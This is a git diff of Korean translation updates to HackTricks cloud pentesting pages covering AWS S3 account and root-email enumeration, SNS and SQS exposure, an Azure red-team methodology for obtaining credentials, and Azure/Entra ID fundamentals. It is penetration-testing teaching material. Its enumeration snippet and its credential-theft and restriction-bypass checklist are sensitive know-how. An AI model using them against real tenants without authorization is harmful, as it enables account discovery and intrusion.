-이 기술은 API Gateway URL, Lambda URL, Data Exchange 데이터 세트와 태그 값을 가져오는 데에도 작동합니다(태그 키를 알고 있는 경우). 더 많은 정보는 [**원본 연구**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)와 이 악용을 자동화하는 도구 [**conditional-love**](https://github.com/plerionhq/conditional-love/)에서 찾을 수 있습니다.
+이 기술은 API Gateway URL, Lambda URL, Data Exchange 데이터 세트와 태그 값을 가져오는 데에도 작동합니다(태그 키를 알고 있는 경우). 더 많은 정보는 [**원본 연구**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)와 이 취약점을 자동화하는 도구 [**conditional-love**](https://github.com/plerionhq/conditional-love/)에서 확인할 수 있습니다.
 
 ### 버킷이 AWS 계정에 속하는지 확인하기
 
@@ -158,11 +158,11 @@ curl -X GET "[bucketname].amazonaws.com/" \
 
 ...
 ```
-“Access Denied” 오류가 발생하면 계정 ID가 잘못되었다는 의미입니다.
+오류가 “Access Denied”인 경우, 계정 ID가 잘못되었다는 의미입니다.
 
 ### 루트 계정 열거를 위한 사용된 이메일
 
-[**이 블로그 게시물**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)에서 설명한 바와 같이, S3 버킷에 대한 ACL을 통해 이메일 주소에 권한을 부여하려고 시도함으로써 해당 이메일 주소가 AWS 계정과 관련이 있는지 확인할 수 있습니다. 오류가 발생하지 않으면 해당 이메일이 일부 AWS 계정의 루트 사용자라는 의미입니다.
+[**이 블로그 게시물**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)에서 설명한 바와 같이, S3 버킷에 대한 ACL을 통해 이메일 주소에 권한을 부여하려고 시도함으로써 해당 이메일 주소가 어떤 AWS 계정과 관련이 있는지 확인할 수 있습니다. 이로 인해 오류가 발생하지 않으면, 해당 이메일이 일부 AWS 계정의 루트 사용자라는 의미입니다.
 ```python
 s3_client.put_bucket_acl(
 Bucket=bucket_name,
@@ -183,7 +183,7 @@ AccessControlPolicy={
 }
 )
 ```
-## References
+## 참고 문헌
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
index da6fb191e..60e4748e9 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
@@ -12,7 +12,7 @@ SNS에 대한 자세한 정보는 다음을 확인하세요:
 
 ### 모두에게 열림
 
-웹 콘솔에서 SNS 주제를 구성할 때 **모두가 주제에 게시하고 구독할 수 있도록** 설정할 수 있습니다:
+웹 콘솔에서 SNS 주제를 구성할 때 **모두가 게시하고 구독할 수 있음**을 나타낼 수 있습니다:
 
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index eb9a2ab20..8ad489510 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SQS Unauthenticated Enum +# AWS - SQS 인증되지 않은 열거 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 1c5f57da6..624e34528 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -8,15 +8,15 @@ az-basic-information/ {{#endref}} -## Azure 펜테스터/레드 팀 방법론 +## Azure Pentester/Red Team 방법론 AZURE 환경을 감사하기 위해서는 **어떤 서비스가 사용되고 있는지**, **무엇이 노출되고 있는지**, **누가 무엇에 접근할 수 있는지**, 그리고 내부 Azure 서비스와 **외부 서비스**가 어떻게 연결되어 있는지를 아는 것이 매우 중요합니다. -레드 팀 관점에서 Azure 환경을 타격하기 위한 **첫 번째 단계**는 Azure AD에 대한 **자격 증명**을 얻는 것입니다. 이를 위한 몇 가지 아이디어는 다음과 같습니다: +Red Team 관점에서, Azure 환경을 침해하기 위한 **첫 번째 단계**는 Azure AD에 대한 **자격 증명**을 얻는 것입니다. 이를 위한 몇 가지 아이디어는 다음과 같습니다: -- github(또는 유사한 곳)에서의 **유출** - OSINT +- github(또는 유사한 곳)의 **누출** - OSINT - **소셜** 엔지니어링 -- **비밀번호** 재사용 (비밀번호 유출) +- **비밀번호** 재사용 (비밀번호 누출) - Azure 호스팅 애플리케이션의 취약점 - [**서버 측 요청 위조**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 메타데이터 엔드포인트에 접근 - **로컬 파일 읽기** @@ -29,11 +29,11 @@ AZURE 환경을 감사하기 위해서는 **어떤 서비스가 사용되고 있 `Disconnect-AzAccount`를 사용하여 제거합니다. - 제3자 **침해** - **내부** 직원 -- [**일반적인 피싱**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (자격 증명 또는 Oauth 앱) +- [**일반 피싱**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (자격 증명 또는 Oauth 앱) - [장치 코드 인증 피싱](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **비밀번호 스프레이**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -공격 중인 Azure 테넌트 내에서 **어떤 사용자도 타격하지 않았다 하더라도**, 여전히 **정보를 수집**할 수 있습니다: +공격 중인 Azure 테넌트 내에서 **어떤 사용자도 침해하지 않았다 하더라도**, 여전히 **정보를 수집**할 수 있습니다: {{#ref}} az-unauthenticated-enum-and-initial-entry/ @@ -61,10 +61,10 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou 유효한 자격 증명이 있지만 로그인할 수 없는 경우, 다음은 적용될 수 있는 일반적인 보호 조치입니다: -- **IP 화이트리스트** -- 유효한 IP를 타격해야 함 -- **지리적 제한** -- 사용자가 거주하는 곳이나 회사의 사무실이 있는 곳을 찾아 같은 도시(또는 최소한 같은 국가)의 IP를 얻기 -- **브라우저** -- 특정 OS(Windows, Linux, Mac, Android, iOS)에서만 허용될 수 있습니다. 피해자/회사가 사용하는 OS를 알아내세요. -- **서비스 주체 자격 증명**을 타격해 볼 수도 있습니다. 이들은 일반적으로 제한이 적고 로그인 검토가 덜 이루어집니다. +- **IP 화이트리스트** -- 유효한 IP를 침해해야 함 +- **지리적 제한** -- 사용자가 거주하는 곳이나 회사의 사무실이 있는 곳을 찾아 같은 도시(또는 최소한 같은 국가)의 IP를 얻음 +- **브라우저** -- 특정 OS(Windows, Linux, Mac, Android, iOS)에서만 허용될 수 있음. 피해자/회사가 사용하는 OS를 알아내세요. +- **서비스 주체 자격 증명**을 침해하려고 시도할 수도 있습니다. 일반적으로 제한이 덜하고 로그인 검토가 덜합니다. 이를 우회한 후, 초기 설정으로 돌아가 여전히 접근할 수 있을 것입니다. @@ -77,7 +77,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou > [!CAUTION] > [**Az - Entra ID**](az-services/az-azuread.md) 섹션에서 az cli, AzureAD 및 Az PowerShell을 **설치하는 방법**을 배우세요. -가장 먼저 알아야 할 것은 **당신이 누구인지** (어떤 환경에 있는지)입니다: +가장 먼저 알아야 할 것은 **당신이 누구인지**(어떤 환경에 있는지)입니다: {{#tabs }} {{#tab name="az cli" }} @@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Azure를 열거하는 데 가장 중요한 명령 중 하나는 **`Get-AzResource`**로, 이는 **현재 사용자가 볼 수 있는 리소스를 알 수 있게 해줍니다**. +> Azure를 열거하는 데 가장 중요한 명령 중 하나는 **`Get-AzResource`**로, Az PowerShell에서 현재 사용자가 **볼 수 있는 리소스를 알 수 있게 해줍니다**. > > 동일한 정보를 **웹 콘솔**에서 [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll)로 가거나 "모든 리소스"를 검색하여 얻을 수 있습니다. ### ENtra ID 열거 -기본적으로, 모든 사용자는 **사용자, 그룹, 역할, 서비스 주체**와 같은 항목을 열거할 수 있는 **충분한 권한을 가져야 합니다**... ( [기본 AzureAD 권한](az-basic-information/#default-user-permissions) 확인).\ +기본적으로, 모든 사용자는 **사용자, 그룹, 역할, 서비스 주체**와 같은 항목을 열거할 수 있는 **충분한 권한을 가져야 합니다**... ( [기본 AzureAD 권한](az-basic-information/#default-user-permissions)을 확인하세요).\ 여기에서 가이드를 찾을 수 있습니다: {{#ref}} @@ -134,12 +134,12 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> 이제 **자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 희망적으로 **발견되지 않았기를 바랍니다**). 환경에서 어떤 서비스가 사용되고 있는지 파악할 시간입니다.\ +> 이제 **자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 **발견되지 않았기를 바랍니다**). 환경에서 사용 중인 서비스가 무엇인지 파악할 시간입니다.\ > 다음 섹션에서는 **일반적인 서비스를 열거하는 몇 가지 방법**을 확인할 수 있습니다. ## App Service SCM -App Service '컨테이너'에 로그인하기 위한 Kudu 콘솔. +App Service '컨테이너'에 로그인하기 위한 Kudu 콘솔입니다. ## Webshell @@ -155,7 +155,7 @@ Azure DevOps는 Azure와 별개입니다. 리포지토리, 파이프라인(야 ```bash az account management-group list --output table --debug ``` -**MitM** 공격을 도구에 수행하고 수동으로 전송하는 **모든 요청**을 확인하려면 다음을 수행할 수 있습니다: +**MitM** 공격을 도구에 수행하고 **수동으로 전송하는 모든 요청을 확인**하려면 다음을 수행할 수 있습니다: {{#tabs }} {{#tab name="Bash" }} @@ -183,7 +183,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" {{#endtab }} {{#endtabs }} -## 자동화된 정보 수집 도구 +## 자동화된 정찰 도구 ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) ```powershell diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index 828d9915c..141f6a181 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -9,11 +9,11 @@ ### 관리 그룹 - **다른 관리 그룹 또는 구독**을 포함할 수 있습니다. -- 이를 통해 **RBAC 및 Azure 정책**과 같은 거버넌스 제어를 관리 그룹 수준에서 한 번 적용하고 그룹 내 모든 구독에서 **상속**받을 수 있습니다. +- 이를 통해 관리 그룹 수준에서 RBAC 및 Azure Policy와 같은 **거버넌스 제어를 적용**하고 그룹 내 모든 구독에서 **상속**받을 수 있습니다. - **10,000개의 관리** 그룹을 단일 디렉터리에서 지원할 수 있습니다. - 관리 그룹 트리는 **최대 6단계 깊이**를 지원할 수 있습니다. 이 제한은 루트 수준이나 구독 수준을 포함하지 않습니다. - 각 관리 그룹 및 구독은 **단 하나의 부모**만 지원할 수 있습니다. -- 여러 관리 그룹을 생성할 수 있지만 **루트 관리 그룹은 하나만 존재**합니다. +- 여러 관리 그룹을 생성할 수 있지만 **루트 관리 그룹은 단 하나**만 존재합니다. - 루트 관리 그룹은 **모든 다른 관리 그룹 및 구독을 포함**하며 **이동하거나 삭제할 수 없습니다**. - 단일 관리 그룹 내의 모든 구독은 **동일한 Entra ID 테넌트**를 신뢰해야 합니다. @@ -21,16 +21,16 @@ ### Azure 구독 -- 리소스(가상 머신, 데이터베이스 등)를 실행하고 청구되는 또 다른 **논리적 컨테이너**입니다. +- 리소스(VMs, DBs…)를 실행하고 청구되는 또 다른 **논리적 컨테이너**입니다. - 그 **부모**는 항상 **관리 그룹**이며(루트 관리 그룹일 수 있음) 구독은 다른 구독을 포함할 수 없습니다. - **하나의 Entra ID** 디렉터리만 신뢰합니다. - 구독 수준(또는 그 부모의 수준)에서 적용된 **권한**은 구독 내 모든 리소스에 **상속**됩니다. ### 리소스 그룹 -[문서에서:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) 리소스 그룹은 Azure 솔루션을 위한 **관련 리소스**를 보유하는 **컨테이너**입니다. 리소스 그룹은 솔루션에 대한 모든 리소스를 포함하거나 **그룹으로 관리하고자 하는 리소스만 포함**할 수 있습니다. 일반적으로 **같은 생애 주기**를 공유하는 **리소스**를 동일한 리소스 그룹에 추가하여 그룹으로 쉽게 배포, 업데이트 및 삭제할 수 있습니다. +[문서에서:] (https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) 리소스 그룹은 Azure 솔루션을 위한 **관련 리소스**를 보유하는 **컨테이너**입니다. 리소스 그룹은 솔루션을 위한 모든 리소스를 포함하거나 **그룹으로 관리하고자 하는 리소스만 포함**할 수 있습니다. 일반적으로 **같은 생애 주기**를 공유하는 **리소스**를 동일한 리소스 그룹에 추가하여 그룹으로 쉽게 배포, 업데이트 및 삭제할 수 있습니다. -모든 **리소스**는 **리소스 그룹 내에 있어야** 하며, 그룹에만 속할 수 있으며, 리소스 그룹이 삭제되면 그 안의 모든 리소스도 삭제됩니다. +모든 **리소스**는 **리소스 그룹 내에 있어야** 하며, 오직 하나의 그룹에만 속할 수 있으며, 리소스 그룹이 삭제되면 그 안의 모든 리소스도 삭제됩니다.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

@@ -50,15 +50,15 @@ Azure 리소스 ID의 형식은 다음과 같습니다: ### Azure -Azure는 Microsoft의 포괄적인 **클라우드 컴퓨팅 플랫폼으로, 다양한 서비스**를 제공합니다. 여기에는 가상 머신, 데이터베이스, 인공지능 및 스토리지가 포함됩니다. Azure는 애플리케이션을 호스팅하고 관리하며, 확장 가능한 인프라를 구축하고, 클라우드에서 현대적인 작업 부하를 실행하는 기반 역할을 합니다. Azure는 개발자와 IT 전문가가 애플리케이션과 서비스를 원활하게 생성, 배포 및 관리할 수 있는 도구를 제공하여 스타트업부터 대기업까지 다양한 요구를 충족합니다. +Azure는 Microsoft의 포괄적인 **클라우드 컴퓨팅 플랫폼으로, 다양한 서비스**를 제공합니다. 여기에는 가상 머신, 데이터베이스, 인공지능 및 스토리지가 포함됩니다. Azure는 애플리케이션을 호스팅하고 관리하며, 확장 가능한 인프라를 구축하고, 클라우드에서 현대적인 작업 부하를 실행하는 기반 역할을 합니다. Azure는 개발자와 IT 전문가가 다양한 요구를 충족할 수 있도록 애플리케이션과 서비스를 원활하게 생성, 배포 및 관리할 수 있는 도구를 제공합니다. ### Entra ID (구 Azure Active Directory) -Entra ID는 인증, 권한 부여 및 사용자 액세스 제어를 처리하도록 설계된 클라우드 기반 **아이덴티티 및 액세스 관리 서비스**입니다. 이는 Office 365, Azure 및 많은 타사 SaaS 애플리케이션과 같은 Microsoft 서비스에 대한 안전한 액세스를 제공합니다. SSO(단일 로그인), MFA(다단계 인증), 조건부 액세스 정책 등의 기능을 제공합니다. +Entra ID는 인증, 권한 부여 및 사용자 액세스 제어를 처리하도록 설계된 클라우드 기반 **아이덴티티 및 액세스 관리 서비스**입니다. 이는 Office 365, Azure 및 많은 타사 SaaS 애플리케이션에 대한 안전한 액세스를 제공합니다. SSO(단일 로그인), MFA(다단계 인증), 조건부 액세스 정책 등의 기능을 제공합니다. ### Entra 도메인 서비스 (구 Azure AD DS) -Entra 도메인 서비스는 전통적인 Windows Active Directory 환경과 호환되는 **관리형 도메인 서비스**를 제공하여 Entra ID의 기능을 확장합니다. LDAP, Kerberos 및 NTLM과 같은 레거시 프로토콜을 지원하여 조직이 온프레미스 도메인 컨트롤러를 배포하지 않고도 클라우드에서 이전 애플리케이션을 마이그레이션하거나 실행할 수 있도록 합니다. 이 서비스는 중앙 집중식 관리를 위한 그룹 정책도 지원하여 레거시 또는 AD 기반 작업 부하가 현대 클라우드 환경과 공존해야 하는 시나리오에 적합합니다. +Entra 도메인 서비스는 **전통적인 Windows Active Directory 환경과 호환되는 관리형 도메인 서비스를 제공하여 Entra ID의 기능을 확장합니다**. LDAP, Kerberos 및 NTLM과 같은 레거시 프로토콜을 지원하여 조직이 온프레미스 도메인 컨트롤러를 배포하지 않고도 클라우드에서 이전 애플리케이션을 마이그레이션하거나 실행할 수 있도록 합니다. 이 서비스는 중앙 집중식 관리를 위한 그룹 정책도 지원하여 레거시 또는 AD 기반 작업 부하가 현대 클라우드 환경과 공존해야 하는 시나리오에 적합합니다. ## Entra ID 주체 @@ -68,7 +68,7 @@ Entra 도메인 서비스는 전통적인 Windows Active Directory 환경과 호 - 선택한 테넌트의 이메일 이름 및 도메인 표시 - 표시 이름 지정 - 비밀번호 지정 -- 속성 지정(이름, 직책, 연락처 정보 등) +- 속성 지정(이름, 직책, 연락처 정보 등…) - 기본 사용자 유형은 "**회원**"입니다. - **외부 사용자** - 초대할 이메일 및 표시 이름 지정(비 Microsoft 이메일 가능) @@ -101,44 +101,44 @@ Entra 도메인 서비스는 전통적인 Windows Active Directory 환경과 호 - 사용자가 LinkedIn과 작업 또는 학교 계정을 연결할 수 있도록 허용: 기본 **예** - 사용자가 로그인 상태를 유지하도록 표시: 기본 **예** - 사용자가 소유한 장치에 대한 BitLocker 키를 복구하지 못하도록 제한: 기본 아니오(장치 설정에서 확인) -- 다른 사용자 읽기: 기본 **예**(Microsoft Graph를 통해) +- 다른 사용자 읽기: 기본 **예** (Microsoft Graph를 통해) - **게스트** - **게스트 사용자 액세스 제한** -- **게스트 사용자는 구성원과 동일한 액세스를 가집니다** 기본적으로 모든 구성원 사용자 권한을 게스트 사용자에게 부여합니다. -- **게스트 사용자는 디렉터리 객체의 속성과 구성원에 대한 제한된 액세스를 가집니다(기본)** 기본적으로 게스트는 자신의 사용자 프로필에만 액세스할 수 있습니다. 다른 사용자 및 그룹 정보에 대한 액세스는 더 이상 허용되지 않습니다. -- **게스트 사용자 액세스는 자신의 디렉터리 객체의 속성과 구성원으로 제한됩니다** 가장 제한적입니다. +- **게스트 사용자는 기본적으로 모든 구성원 사용자 권한을 부여받습니다.** +- **게스트 사용자는 기본적으로 자신의 사용자 프로필에만 액세스할 수 있습니다.** 다른 사용자 및 그룹 정보에 대한 액세스는 더 이상 허용되지 않습니다. +- **게스트 사용자 액세스는 자신의 디렉터리 객체의 속성과 구성원으로 제한됩니다.** 가장 제한적입니다. - **게스트 초대 가능** -- **조직의 누구나 게스트 사용자를 초대할 수 있으며, 게스트 및 비관리자 포함(가장 포괄적) - 기본** -- **구성원 사용자 및 특정 관리 역할에 할당된 사용자는 게스트 사용자 초대 가능** +- **조직 내 누구나 게스트 사용자 초대 가능(가장 포괄적) - 기본** +- **구성원 사용자 및 특정 관리 역할에 할당된 사용자는 구성원 권한이 있는 게스트를 포함하여 게스트 사용자 초대 가능** - **특정 관리 역할에 할당된 사용자만 게스트 사용자 초대 가능** -- **조직의 누구도 게스트 사용자를 초대할 수 없으며, 관리자를 포함하여(가장 제한적)** +- **조직 내 누구도 게스트 사용자 초대 불가(가장 제한적)** - **외부 사용자 퇴사**: 기본 **참** - 외부 사용자가 조직을 떠날 수 있도록 허용 > [!TIP] -> 기본적으로 제한되더라도 권한이 부여된 사용자(구성원 및 게스트)는 이전 작업을 수행할 수 있습니다. +> 기본적으로 제한되더라도, 권한이 부여된 사용자(구성원 및 게스트)는 이전 작업을 수행할 수 있습니다. ### **그룹** **2가지 유형의 그룹**이 있습니다: - **보안**: 이 유형의 그룹은 구성원에게 애플리케이션, 리소스에 대한 액세스를 부여하고 라이센스를 할당하는 데 사용됩니다. 사용자, 장치, 서비스 주체 및 다른 그룹이 구성원이 될 수 있습니다. -- **Microsoft 365**: 이 유형의 그룹은 협업을 위해 사용되며, 구성원에게 공유 사서함, 일정, 파일, SharePoint 사이트 등에 대한 액세스를 제공합니다. 그룹 구성원은 사용자만 될 수 있습니다. +- **Microsoft 365**: 이 유형의 그룹은 협업을 위해 사용되며, 구성원에게 공유 메일박스, 일정, 파일, SharePoint 사이트 등에 대한 액세스를 제공합니다. 그룹 구성원은 사용자만 가능합니다. - 이는 EntraID 테넌트의 도메인을 가진 **이메일 주소**를 가집니다. **2가지 유형의 구성원 자격**이 있습니다: -- **할당됨**: 특정 구성원을 그룹에 수동으로 추가할 수 있습니다. +- **지정된**: 특정 구성원을 수동으로 그룹에 추가할 수 있습니다. - **동적 구성원 자격**: 규칙을 사용하여 구성원을 자동으로 관리하며, 구성원 속성이 변경될 때 그룹 포함을 업데이트합니다. ### **서비스 주체** -**서비스 주체**는 **애플리케이션**, 호스팅 서비스 및 자동화 도구가 Azure 리소스에 액세스하는 데 사용하기 위해 생성된 **아이덴티티**입니다. 이 액세스는 서비스 주체에 할당된 역할에 의해 **제한되며**, 어떤 리소스에 액세스할 수 있는지 및 어떤 수준에서 액세스할 수 있는지를 제어합니다. 보안상의 이유로, **사용자 아이덴티티로 로그인하는 것보다 자동화 도구와 함께 서비스 주체를 사용하는 것이 항상 권장됩니다**. +**서비스 주체**는 **애플리케이션**, 호스팅 서비스 및 자동화 도구가 Azure 리소스에 액세스하는 데 사용하기 위해 생성된 **아이덴티티**입니다. 이 액세스는 서비스 주체에 할당된 역할에 의해 **제한되며**, 어떤 리소스에 액세스할 수 있는지 및 어떤 수준에서 액세스할 수 있는지를 제어합니다. 보안상의 이유로, **사용자 아이덴티티로 로그인하는 것보다 자동화 도구와 함께 서비스 주체를 사용하는 것이 항상 권장됩니다.** -**서비스 주체로 직접 로그인**하는 것이 가능하며, 이를 위해 **비밀**(비밀번호), **인증서**를 생성하거나 제3자 플랫폼(예: Github Actions)에 대한 **연합된** 액세스를 부여할 수 있습니다. +**비밀번호**(기본값), **인증서**를 생성하거나 제3자 플랫폼(예: Github Actions)에 대한 **연합 액세스**를 부여하여 **서비스 주체로 직접 로그인**할 수 있습니다. -- **비밀번호** 인증(기본값)을 선택하는 경우, **생성된 비밀번호를 저장**해야 다시 액세스할 수 없습니다. -- 인증서 인증을 선택하는 경우, **애플리케이션이 개인 키에 대한 액세스를 가질 수 있도록** 해야 합니다. +- **비밀번호** 인증을 선택하는 경우(기본값), **생성된 비밀번호를 저장**해야 다시 액세스할 수 없습니다. +- 인증서 인증을 선택하는 경우, **애플리케이션이 개인 키에 대한 액세스를 가질 수 있도록 해야 합니다.** ### 애플리케이션 등록 @@ -148,10 +148,10 @@ Entra 도메인 서비스는 전통적인 Windows Active Directory 환경과 호 1. **애플리케이션 ID (클라이언트 ID):** Azure AD에서 앱의 고유 식별자입니다. 2. **리디렉션 URI:** Azure AD가 인증 응답을 보내는 URL입니다. -3. **인증서, 비밀 및 연합 자격 증명:** 서비스 주체로 로그인하기 위해 비밀 또는 인증서를 생성하거나 이를 위해 연합된 액세스를 부여할 수 있습니다(예: Github Actions). -1. **인증서** 또는 **비밀**이 생성되면, **애플리케이션 ID**, **비밀** 또는 **인증서** 및 **테넌트**(도메인 또는 ID)를 알고 있는 사람이 **서비스 주체로 로그인**할 수 있습니다. +3. **인증서, 비밀번호 및 연합 자격 증명:** 서비스 주체로 로그인하기 위해 비밀번호 또는 인증서를 생성하거나 연합 액세스를 부여할 수 있습니다(예: Github Actions). +1. **인증서** 또는 **비밀번호**가 생성되면, **애플리케이션 ID**, **비밀번호** 또는 **인증서** 및 **테넌트**(도메인 또는 ID)를 알고 있는 사람이 **서비스 주체로 로그인**할 수 있습니다. 4. **API 권한:** 앱이 액세스할 수 있는 리소스 또는 API를 지정합니다. -5. **인증 설정:** 앱의 지원되는 인증 흐름을 정의합니다(예: OAuth2, OpenID Connect). +5. **인증 설정:** 앱이 지원하는 인증 흐름을 정의합니다(예: OAuth2, OpenID Connect). 6. **서비스 주체**: 앱이 생성될 때 서비스 주체가 생성됩니다(웹 콘솔에서 생성된 경우) 또는 새 테넌트에 설치될 때 생성됩니다. 1. **서비스 주체**는 요청된 모든 권한을 받게 됩니다. @@ -161,7 +161,7 @@ Entra 도메인 서비스는 전통적인 Windows Active Directory 환경과 호 - **사용자 동의 허용 안 함** - 모든 앱에 대해 관리자가 필요합니다. -- **검증된 게시자의 앱에 대한 사용자 동의 허용, 선택된 권한에 대해(권장)** +- **검증된 게시자의 앱에 대해 선택된 권한에 대한 사용자 동의 허용(권장)** - 모든 사용자는 "낮은 영향"으로 분류된 권한에 대해 동의할 수 있으며, 검증된 게시자의 앱 또는 이 조직에 등록된 앱에 대해 동의할 수 있습니다. - **기본** 낮은 영향 권한(낮은 영향으로 추가하려면 수락해야 함): - User.Read - 로그인 및 사용자 프로필 읽기 @@ -176,7 +176,7 @@ Entra 도메인 서비스는 전통적인 Windows Active Directory 환경과 호 - 사용자는 동의할 수 없는 앱에 대해 관리자 동의를 요청할 수 있습니다. - **예**인 경우: 동의 요청을 할 수 있는 사용자, 그룹 및 역할을 지정할 수 있습니다. -- 사용자가 이메일 알림 및 만료 알림을 받을지 여부도 구성합니다. +- 사용자가 이메일 알림 및 만료 알림을 받을 수 있는지 구성합니다. ### **관리형 아이덴티티 (메타데이터)** @@ -184,8 +184,8 @@ Azure Active Directory의 관리형 아이덴티티는 **애플리케이션의 관리형 아이덴티티에는 두 가지 유형이 있습니다: -- **시스템 할당**. 일부 Azure 서비스는 **서비스 인스턴스에서 직접 관리형 아이덴티티를 활성화**할 수 있습니다. 시스템 할당 관리형 아이덴티티를 활성화하면, **리소스가 위치한 구독에서 신뢰하는 Entra ID 테넌트에 서비스 주체가 생성됩니다**. **리소스**가 **삭제되면**, Azure는 자동으로 **아이덴티티를 삭제**합니다. -- **사용자 할당**. 사용자가 관리형 아이덴티티를 생성할 수도 있습니다. 이러한 아이덴티티는 구독 내의 리소스 그룹 내에서 생성되며, 구독에서 신뢰하는 EntraID에 서비스 주체가 생성됩니다. 그런 다음 관리형 아이덴티티를 Azure 서비스의 **하나 이상의 인스턴스**에 할당할 수 있습니다(여러 리소스). 사용자 할당 관리형 아이덴티티의 경우, **아이덴티티는 이를 사용하는 리소스와 별도로 관리됩니다**. +- **시스템 할당**. 일부 Azure 서비스는 **서비스 인스턴스에서 직접 관리형 아이덴티티를 활성화**할 수 있습니다. 시스템 할당 관리형 아이덴티티를 활성화하면, **서비스 주체**가 리소스가 위치한 구독에서 신뢰하는 Entra ID 테넌트에 생성됩니다. **리소스**가 **삭제되면**, Azure는 자동으로 **아이덴티티**를 **삭제**합니다. +- **사용자 할당**. 사용자가 관리형 아이덴티티를 생성할 수도 있습니다. 이러한 아이덴티티는 구독 내의 리소스 그룹 내에서 생성되며, 서비스 주체가 구독에서 신뢰하는 EntraID에 생성됩니다. 그런 다음 관리형 아이덴티티를 Azure 서비스의 **하나 이상의 인스턴스**에 할당할 수 있습니다(여러 리소스). 사용자 할당 관리형 아이덴티티의 경우, **아이덴티티는 이를 사용하는 리소스와 별도로 관리됩니다**. 관리형 아이덴티티는 **영구 자격 증명**(비밀번호나 인증서와 같은)을 생성하지 않으며, 서비스 주체에 연결되어 있습니다. @@ -197,7 +197,7 @@ Azure Active Directory의 관리형 아이덴티티는 **애플리케이션의 ### 관리 단위 -관리 단위는 **조직의 특정 부분에 대한 역할의 권한을 부여할 수 있도록** 합니다. +관리 단위는 **조직의 특정 부분에 대한 역할의 권한을 부여할 수 있도록 합니다.** 예시: @@ -205,12 +205,12 @@ Azure Active Directory의 관리형 아이덴티티는 **애플리케이션의 - 구현: - 각 지역에 대한 관리 단위 생성(예: "북미 AU", "유럽 AU"). - 각 지역의 사용자로 AU를 채웁니다. -- AU는 **사용자, 그룹 또는 장치를 포함할 수 있습니다.** +- AU는 **사용자, 그룹 또는 장치**를 포함할 수 있습니다. - AU는 **동적 구성원 자격**을 지원합니다. - AU는 **AU를 포함할 수 없습니다.** -- 관리 역할 할당: -- 지역 IT 직원에게 "사용자 관리자" 역할을 부여하고, 해당 지역의 AU에 범위를 지정합니다. -- 결과: 지역 IT 관리자는 다른 지역에 영향을 주지 않고 자신의 지역 내에서 사용자 계정을 관리할 수 있습니다. +- 관리자 역할 할당: +- 지역 IT 직원에게 해당 지역의 AU에 범위가 지정된 "사용자 관리자" 역할을 부여합니다. +- 결과: 지역 IT 관리자는 다른 지역에 영향을 주지 않고 자신의 지역 내 사용자 계정을 관리할 수 있습니다. ### Entra ID 역할 @@ -225,7 +225,7 @@ Azure Active Directory의 관리형 아이덴티티는 **애플리케이션의 **그룹**에 할당된 **역할**은 그룹의 모든 **구성원**에게 **상속**됩니다. -역할이 할당된 범위에 따라, **역할**은 범위 컨테이너 내의 **다른 리소스**에 **상속**될 수 있습니다. 예를 들어, 사용자 A가 **구독에 대한 역할**을 가지고 있다면, 그는 구독 내의 모든 리소스 그룹과 **리소스 그룹 내의 모든 리소스**에 대해 그 **역할**을 가지게 됩니다. +역할이 할당된 범위에 따라, **역할**은 범위 컨테이너 내의 **다른 리소스**에 **상속**될 수 있습니다. 예를 들어, 사용자 A가 **구독**에 대한 **역할**을 가지고 있다면, 그는 그 **구독** 내의 모든 리소스 그룹과 **리소스 그룹 내의 모든 리소스**에 대해 그 **역할**을 가지게 됩니다. ### **클래식 역할** @@ -237,7 